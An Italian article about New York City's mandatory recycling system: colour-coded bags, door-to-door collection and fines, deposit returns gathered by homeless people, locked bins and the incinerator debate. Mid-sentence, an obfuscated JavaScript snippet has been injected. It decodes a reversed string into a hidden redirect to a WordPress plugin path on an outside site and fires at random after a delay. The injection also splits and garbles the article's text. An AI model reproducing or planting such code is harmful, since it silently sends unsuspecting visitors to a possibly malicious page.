Spazzatura sotto chiave e riciclaggio obbligatorio

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Chiunque tu sia: che tu viva, lavori o visiti New York, qui riciclare è legge! Con queste parole il Dipartimento dell’Igiene pubblica newyorkese tiene a precisare l’impegno della città nel riciclaggio dei rifiuti.
3 milioni di appartamenti oltre ad un infinità di attività commerciali e industriali producono 50.000 tonnellate di rifiuti al giorno. Ogni settimana si produce una montagna di rifiuti dello stesso peso dell’Empire State Building ma divolume enormemente maggiore.
Il piano di riciclaggio newyorkese, iniziato nel 1989, coinvolge l’intera cittadinanza in una coercitiva differenziazione dei rifiuti: carta e cartone in buste verdi o etichettate in verde, plastica lattine e vetro in buste trasparenti o etichettate in blu. Bisogna notare però che solo i rifiuti che riportano la dicitura riciclabile o il noto simbolo con le frecce rotanti possono essere raccolti differenzi (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andoli dal resto. La raccolta è effettuata porta a porta, in questo modo si possono identificare i comportamenti scorretti e prontamente multare i condomini che non si attengono alle regole del riciclaggio. L’immondizia newyorkese viene lasciata sulla strada, dentro scantinati o cortili. Gli operatori ecologici, circa 7.000 in tutto, guidano i 5.700 veicoli per quasi 15 milioni di Km in giro per la città, l’equivalente di girare intorno al globo terrestre 312 volte l’anno raccogliendo a mano sacchi d’immondizia. Naturalmente la gestione dei rifiuti è completamente privata, ma è interessante notare che, oltre alle multe, esistono anche dei benefici immediati per i più “ricicloni”.
Come da noi in Italia accadeva in passato con le bottiglie, prima del boom del “vuoto a perdere”, qui a New York restituendo vetro e lattine si ottiene in cambio qualche moneta. Questo sistema innesca un meccanismo sociale del tutto inedito. La gente di strada, i senza tetto e gli abitanti degli strati sociali più bassi si attivano per un’autonoma campagna di riciclaggio. Attraversano la città ricolmando carrelli e buste con lattine e bottiglie per poi portarle fuori dai supermercati dove apposite macchine trasformano il raccolto in denaro da spendere. Naturalmente la folla di razzolatori provoca anche qualche disguido, tanto che per evitare montagne di immondizia cosparsa in strada, molti newyorkesi la tengono sotto chiave! Sembra assurdo, ma in questa nazione anche la proprietà dei propri rifiuti va salvaguardata da furti o danneggiamenti.
Oltre alla coercizione della normativa locale, il governo cittadino si impegna anche in una campagna di sensibilizzazione al fine di ridurre la quantità di rifiuti prodotta, con vari slogan: riusalo, riparalo, affitta qualcosa invece di comprare e gettare dopo un singolo utilizzo, regala gli oggetti che non usi e comprali di seconda mano quando è possibile!
Nonostante questo impegno e questo dispendio economico non indifferente, le 50.000 tonnellate di rifiuti al giorno rimangono e lo Stato di New York, a differenza della California, non ha una regolamentazione che impone una percentuale prestabilita di rifiuti riciclati, quindi i risultati sono sempre accettati senza auto-sanzioni o auto-tassazioni del governo locale.
L’incenerimento diventa inevitabile e naturalmente anche in questi lidi la patata scotta. Il sindaco Bloomberg ha accennato all’idea di vie acquatiche per trasportare i rifiuti in giro per la città. Questo al fine di risparmiare sui costi di trasporto su gomma e sull’inquinamento provocato dai mezzi stessi. I rifiuti, trasportati a bordo di battelli sarebbero dovuti confluire a 4 stazioni di smaltimento sparse per la città, ma tutto il mondo è paese e anche qui nessuno vuole il termovalorizzatore vicino a casa propria…
In definitiva il problema dei rifiuti è all’ordine del giorno anche negli Stati Uniti, tanto che anche la narrativa da best-sellers finisce per raccontarne le avventure pubblicizzandole proprio nel posto più consono al rifiuto urbano, il cestino della nettezza.

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